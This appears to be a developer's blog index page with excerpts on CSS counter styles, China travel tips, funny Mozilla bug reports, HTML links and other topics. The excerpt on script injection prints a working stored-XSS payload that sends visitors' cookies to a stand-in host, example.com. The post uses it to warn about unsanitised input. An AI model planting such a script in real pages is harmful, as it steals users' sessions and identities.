An introduction to CSS @counter-style

The characters that indicate items in a list are called counters — they can be bullets or numbers. They are defined using the list-style-type CSS property. CSS1 introduced a list of predefined styles to be used as counter markers. The initial list was then slightly extended with addition of more predefined counter styles in CSS2.1. Even with 14 predefined counter styles, it still failed to address use cases from around the world.

Now, the CSS Counter Styles Level 3 specification, which reached Candidate Recommendation last week, adds new predefined counter styles to the existing list that should address most common counter use cases.

In addition to the new predefined styles, the spec also offers an open-ended solution for the needs of worldwide typography by introducing the @counter-style at-rule — which lets us define custom counter styles or even extend existing ones — and the symbols() function. The latter is a shorthand for defining inline styles and is useful when the fine-grained control that @counter-style offers is not needed.

This is the excerpt from an article I wrote in the hacks.mozilla.org blog when @counter-style was shipped in Firefox. The article provides a guide to using the new counter features of CSS Level 3. Please read the full article here. See a demo of various @counter-style usages here (works only in Firefox).


Cultural Learnings of China for Make Benefit Glorious People Everywhere

Excuse the title 😛 I just wanted to share a few things that might be helpful to know if you are visiting China for the first time.

  1. Food! – Food in China is definitely not the ‘Chinese’ you eat in your country. I found real Chinese food much more tastier (and healthier, coz they eat it every day). Also the variety in food is overwhelming. Do try everything you can get your hands on.
  2. No tipping in restaurants.
  3. China is not cheap. I, like many others, assumed that since most of the goods we use are made in China, I could get stuff for cheap from there. But this proved a myth. My Nike shoes (made in China) costs the same, if not more, in China, as it is at home. This is especially true if you are visiting only the big cities. The places that manufacture these goods are in the more remote places.
  4. Haggle – don’t be ashamed to haggle when you go around buying from local vendors. You can often negotiate and bring the price down much lower than what was offered first.
  5. Get a guide who speaks Chinese. Unless you or someone traveling with you know Chinese, make sure you get a guide who can speak Chinese. English is of no help in China, especially if you are traveling outside of big cities like Beijing. But even in Beijing, the vast majority (save for kids) don’t speak English. Anyway, it wouldn’t hurt learning a few useful Chinese words and sentences before your trip.
  6. Be wary of counterfeit currency when you spend money and get change from someone. I don’t know how to detect counterfeit Chinese currency, so better check about it somewhere before you go.
  7. Chopsticks – People eat with chopsticks, not spoon or fork and knife. You could find it a little difficult to eat with a chopstick at first, but stick with it (pun intended) and you will get considerably better in a couple of days. And using chopsticks, instead of spoons like some lame foreigners, will earn you respect from the Chinese. (Now don’t go embarrassing yourself trying to drink soup with chopsticks; that’s what they give you the spoons for).
  8. Continue Reading


10 funny bug reports from Mozilla’s bug system

Here are some of the funniest bug repots I found in bugzilla.mozilla.org, the bug tracking system used by all Mozilla projects. I had fun compiling this list; hope you have fun reading them too.

IMPORTANT: Please do not add further comments to the bug reports. Doing so would send mails to a lot of people.

Bug 95849 – “Lack of Sex is interfering with my ability to triage bugs”

’nuff said

Bug 330884 – “This privacy flaw has caused my fiancé and I to break-up after having dated for 5 years.”

Bug 52094 – “hyatt should give ben $50”

Bug 98491 – “Vending machine on the 2nd floor has raised prices by $0.05”

Bug 665750/Comment 38 – “Export a subset of pages for offline reading”

Bug 122411 – “Mozilla does not have a kitchen sink”

Bug 216332 – “Mozilla doesn’t work during massive power outages.

Bug 125287 – thomas@pdb.no owes me some hot scandinavian blondes”

Bug 60455 – “Mozilla doesn’t add time to the day”

Bug 46244 – “need to go to denny’s”

Thanks to @tofumatt for bringing up some of these 🙂
Lemme know if you have come across anything that I haven’t listed.


Rants about the HTML anchor tag

Links are probably the most important of all the elements on the Web. Links are what make the Web, a WEB – of interconnected resources. Here are a couple of things you probably didn’t know or may be did, about links, aka anchor tags. Normal text, as the text content in a book is considered to be linear, as information flows from one end to the other there, linearly. HyperText is text that is not linear. HyperText can have an additional dimension, which is the meaning defined by a link. The ability of HTML to have links is why it is called HyperText Markup Language.

the download attribute

The traditional way of prompting file download is by adding a ‘Content-Disposition’ header, which is done at the server side. HTML5 introduces a download attribute to your anchor tag and it will prompt file download of the linked resource when the link is clicked.

<a href="video3482.mp4" download>Download video</a>
Providing a value for the download attribute is optional, but if you provide a value, then the download prompt will have that value as the default filename for the file to be saved.

Later versions of Firefox (v20+) requires that if download attribute is specified, then the value of href must be a resource of the same origin. And, as of now, as you would expect, IE doesn’t support the download attribute yet, but they are planning to.

#top will scroll to the top

HTML5 defines that if the value of href is not a valid element ID in the page, then if the value of href is #top, clicking on the link will scroll to the top of the page.

href stands for hypertext reference

When I first learned html, I found the href attribute hard to remember. It made no sense to me. I read it as h-r-e-f. But later I deduced that it was actually h-ref and then everything made sense. Like everyone, I also assumed that the h stood for hypertext or hyperlink. Well, today I did confirm that h is for hypertext. So href is in fact hypertext reference. Tim Berners-Lee says so.


Load a JavaScript file dynamically and call a function from it

This is how you provide an embed code, which will load a JavaScript file dynamically into the website and call a function from inside the file with externally passed params.


Event Report: Firefox OS App Days Kerala – 22nd June 2013

Friends,
   I’m really excited to tell you about the Firefox OS App Days we conducted at Kochi (Kerala, India) on 22nd June.

Short version:-

The event went better than we hoped for. 56 participants and 9 Mozillians attended. 14 apps were demoed. Had a remote session over video conf by Nick Desaulniers of Mozila Corp. Got 3 news paper coverages including one in a national daily. Succeeded in creating a hyper buzz about Mozilla in the state of Kerala. Getting lots of requests from colleges to conduct mini app days there – 2 mini app days already in motion. Continue Reading


12 Things That Would Make You A Better Software Developer

Disclaimer (2017): This post was written a few years ago when I was relatively new to programming, so take with a grain of salt.

12 valuable lessons I learned from my two years experience as a developer. Some are bits I picked up along the way, but some are hard learned tidbits of wisdom I learned from my own mistakes.

The 12 points discussed in the post are the following:-

1. Know your tools
2. Modularize
3. Error messages are your friends
4. Plan, Plan, Plan
5. Maintain predictability in code
6. Write beautiful code
7. Refactor
8. Central location for configuration/settings
9. Push towards automation
10. Keep the comments updated
11. Write jokes in comments
12. Choose the right team

 

1. Know your tools

Programming is no longer just typing code out of the air into your text editor and compiling it after you are done. Programming is more of an interactive process now.

Lots of tools are available now, that can boost developer efficiency. Most programming languages have rich IDE’s with features such as “intellisense”, auto-complete, realtime syntax checking, profiling and debugging assistance, source control integration etc built-in. Knowing these various tools and features are not a must to be a great programmer, but, without a question, better tools can boost your efficiency as one.
Continue Reading


A word on script injection attacks

The scenario

Say your application – whether it is written in NodeJS or PHP or Ruby or whatever – has a form where Joe the User can input data (may be a profile edit page). The data entered by Joe is displayed to other users (Sam and Woody) when they visit Joe’s profile page. This would be a perfectly ok situation if Joe is a nice person, doing an honest days work to earn a living.

The problem

But unfortunately, Joe could be a hacker trying to steal Sam’s digital identity (and/or money). Or, most commonly, Joe could be a zombie looking around for security loopholes for malicious hackers to exploit. Oh, yeah, zombies are real. We call them bots in the digital world.
In any case, our incarnation or evil, Mr. Joe could enter a content like this into his profile update textarea:-

<script>
document.body.innerHTML += '<iframe height="1" width="1" src="http://example.com/save-cookie.php?cookie-data='+encodeURIComponent(document.cookie)+'"></iframe>';
</script>

The above 1 line code is self explanatory. The code, if rendered as it is, will steal the currently logged in person’s (Sam’s) cookies and could send it the malicious hacker Joe. With Sam’s cookie data in hand, Joe can login to the site as Sam and access Sam’s private data or can do things on behalf of Sam.

Continue Reading


Get the list of packages that got removed from Ubuntu/Debian

My friend accidentally removed the libxml package from his Ubuntu server. And the package manager automatically removed all the other packages that were dependent on libxml, such as subversion, php, apache etc. Can you imagine the state of chaos it is when php, apache, svn and a whole list of god-knows-what packages get uninstalled from a live server 🙂

Well, after the initial moment of FUD, we got the list of packages that got removed by checking the apt log file  which is located at /var/log/apt/history.log and installed them back 🙂  To see the contents of the apt log, type cat /var/log/apt/history.log into the terminal and check for the date you think the files got removed.

Command to see apt log:-


‘Realtime’ Chat with WebSocket and NodeJS

Update (2017): This post is outdated and shite. Please look elsewhere for better examples of similar apps. If you insist on seeing the naive code I wrote for the demo, there is a github link in the post.

DEMO (link removed)

(Open the chat in two or more browser windows/computers and check how fast the realtime updation is!)

Gmail chat, Facebook chat etc were implemented using a technique – rather a hack – called long polling[1]. It is the technique where the client initiates a request to the server. The server rather than returning the client with a response, keeps the connection open for a longer time. The server only returns to the client with a response when it (server) has something new for the client. The advantage of long polling over normal polling are reduced latency and saving from the overhead of sending too many short http requests. Continue Reading


Pages:1234